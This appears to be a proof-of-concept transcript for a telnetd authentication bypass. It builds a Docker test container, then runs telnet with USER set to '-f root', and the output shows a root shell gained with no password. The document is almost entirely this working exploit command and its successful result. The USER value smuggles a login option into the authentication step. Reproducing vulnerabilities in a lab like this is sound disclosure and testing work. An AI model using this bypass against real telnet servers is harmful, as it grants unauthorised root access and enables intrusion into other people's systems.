sudo docker build . --tag telnetd-auth-bypass

sudo docker run -dt --rm --name test telnetd-auth-bypass

kali@kali:~$ USER="-f root" telnet -a 172.17.0.2
Trying 172.17.0.2...
Connected to 172.17.0.2.
Escape character is '^]'.

Linux 6.12.25-amd64 (5321b63dbc56) (pts/1)

Welcome to Ubuntu 24.04.3 LTS (GNU/Linux 6.12.25-amd64 x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

root@5321b63dbc56:~#